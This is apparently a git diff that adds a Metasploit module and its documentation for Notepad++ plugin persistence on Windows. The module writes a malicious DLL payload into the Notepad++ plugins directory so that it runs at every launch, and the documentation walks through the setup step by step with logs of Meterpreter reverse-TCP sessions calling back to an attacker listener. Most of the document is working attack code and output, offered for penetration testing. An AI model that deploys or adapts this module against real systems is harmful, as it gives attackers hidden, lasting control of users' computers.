diff --git a/documentation/modules/exploit/windows/persistence/notepadpp_plugin_persistence.md b/documentation/modules/exploit/windows/persistence/notepadpp_plugin_persistence.md new file mode 100644 index 0000000000000..d3c11d16e2dfa --- /dev/null +++ b/documentation/modules/exploit/windows/persistence/notepadpp_plugin_persistence.md @@ -0,0 +1,96 @@ +## Vulnerable Application + +This module create persistence by adding a malicious plugin to Notepad++, as it blindly loads and +executes DLL from its plugin directory on startup,meaning that the payload will be executed every time Notepad++ is launched. + +The payload will have same privileges as user executing Notepad++. + + +## Verification Steps + +1. Start msfconsole +1. Get a shell/meterpreter on a windows box +1. Do: `use exploit/windows/persistence/notepad++_persistence ` +1. Do: `set session #` +1. Do: `run` +1. You should get persistence once the targeted application is open and closed. + +## Options + +### PAYLOAD_NAME + +Name of the payload file. Defaults to `.dll` + +## Scenarios + +### Windows 10 + +Original shell +``` +[*] Starting persistent handler(s)... +[*] Using configured payload generic/shell_reverse_tcp +payload => windows/x64/meterpreter_reverse_tcp +LHOST => wg0 +LPORT => 4242 +[*] Started reverse TCP handler on 192.168.3.7:4242 +[*] Meterpreter session 1 opened (192.168.3.7:4242 -> 10.5.134.148:49988) at 2025-11-12 16:24:53 +0100 + +meterpreter > getuid +Server username: WIN10_2004_8D28\Administrator +meterpreter > sysinfo +Computer : WIN10_2004_8D28 +OS : Windows 10 2004 (10.0 Build 19041). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 1 +Meterpreter : x64/windows +``` + +Persistence +``` +msf exploit(multi/handler) > use exploit/windows/persistence/notepadpp_plugin_persistence +[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp +msf exploit(windows/persistence/notepadpp_plugin_persistence) > set payload windows/x64/meterpreter/reverse_tcp +payload => windows/x64/meterpreter/reverse_tcp +msf exploit(windows/persistence/notepadpp_plugin_persistence) > set session 1 +session => 1 +msf exploit(windows/persistence/notepadpp_plugin_persistence) > run verbose=true +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. + +msf exploit(windows/persistence/notepadpp_plugin_persistence) > [*] Started reverse TCP handler on 192.168.3.7:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Notepad++ present and plugin folder is writable +[+] Writing payload to C:\Program Files\Notepad++\plugins\JzHPoxkI\ +[*] Payload (9216 bytes) uploaded on WIN10_2004_8D28 to C:\Program Files\Notepad++\plugins\JzHPoxkI\ +[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/WIN10_2004_8D28_20251112.2704/WIN10_2004_8D28_20251112.2704.rc +[*] Sending stage (230982 bytes) to 10.5.134.148 +[*] Meterpreter session 2 opened (192.168.3.7:4444 -> 10.5.134.148:50011) at 2025-11-12 16:27:19 +0100 +msf exploit(windows/persistence/notepadpp_plugin_persistence) > sessions + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 meterpreter x64/windows WIN10_2004_8D28\Administrator @ WIN10_2004_8 192.168.3.7:4242 -> 10.5.134.148:49988 (10.5. + D28 134.148) + 2 meterpreter x64/windows WIN10_2004_8D28\Administrator @ WIN10_2004_8 192.168.3.7:4444 -> 10.5.134.148:50011 (10.5. + D28 134.148) + +msf exploit(windows/persistence/notepadpp_plugin_persistence) > sessions 2 +[*] Starting interaction with 2... + +meterpreter > sysinfo +Computer : WIN10_2004_8D28 +OS : Windows 10 2004 (10.0 Build 19041). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 1 +Meterpreter : x64/windows +meterpreter > getuid +Server username: WIN10_2004_8D28\Administrator + +``` diff --git a/modules/exploits/windows/persistence/notepadpp_plugin_persistence.rb b/modules/exploits/windows/persistence/notepadpp_plugin_persistence.rb new file mode 100644 index 0000000000000..0273d8db24a20 --- /dev/null +++ b/modules/exploits/windows/persistence/notepadpp_plugin_persistence.rb @@ -0,0 +1,94 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Notepad++ Plugin Persistence', + 'Description' => %q{ + This module create persistence by adding a malicious plugin to Notepad++, as it blindly loads and executes DLL from its plugin directory on startup, meaning that the payload will be executed every time Notepad++ is launched. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'msutovsky-r7' ], + 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter', 'shell' ], + 'Targets' => [ + [ 'Automatic', {} ] + ], + 'DisclosureDate' => '2005-12-11', # plugins were added to Notepad++ + 'DefaultTarget' => 0, + 'References' => [ + ['URL', 'https://www.cybereason.com/blog/threat-analysis-report-abusing-notepad-plugins-for-evasion-and-persistence'] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK] + } + ) + ) + + register_options( + [ + OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']), + ] + ) + end + + def get_plugin_dir + expand_path('%PROGRAMFILES%\\Notepad++\\plugins\\') + end + + def check + @plugin_dir = get_plugin_dir + return CheckCode::Safe('Notepad++ is probably not present') unless directory?(@plugin_dir) + + # borrowed from startup folder persistence + begin + # windows only ps payloads have writable? so try that first + return CheckCode::Safe("Unable to write to #{@plugin_dir}") unless writable?(@plugin_dir) + rescue RuntimeError + filename = @plugin_dir + '\\' + Rex::Text.rand_text_alpha((rand(6..13))) + write_file(filename, '') + if exists? filename + rm_f(filename) + else + return CheckCode::Safe("Unable to write to #{@plugin_dir}") + end + end + + CheckCode::Vulnerable('Notepad++ present and plugin folder is writable') + end + + def install_persistence + @plugin_dir ||= get_plugin_dir + + payload_name = CGI.escape(datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))) + payload_pathname = @plugin_dir + payload_name + '\\' + payload_exe = generate_payload_dll({ dll_exitprocess: true }) + fail_with(Failure::BadConfig, "#{payload_instance.arch.first} payload selected for #{sysinfo['Architecture']} system") unless sysinfo['Architecture'] == payload_instance.arch.first + vprint_good("Writing payload to #{payload_pathname}") + if session.type == 'meterpreter' + fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless session.fs.dir.mkdir(payload_pathname) + else + fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless cmd_exec("mkdir \"#{payload_pathname}\"") + end + + fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname + payload_name + '.dll', payload_exe) + + vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_pathname}") + @clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '/')}\"\n" + end +end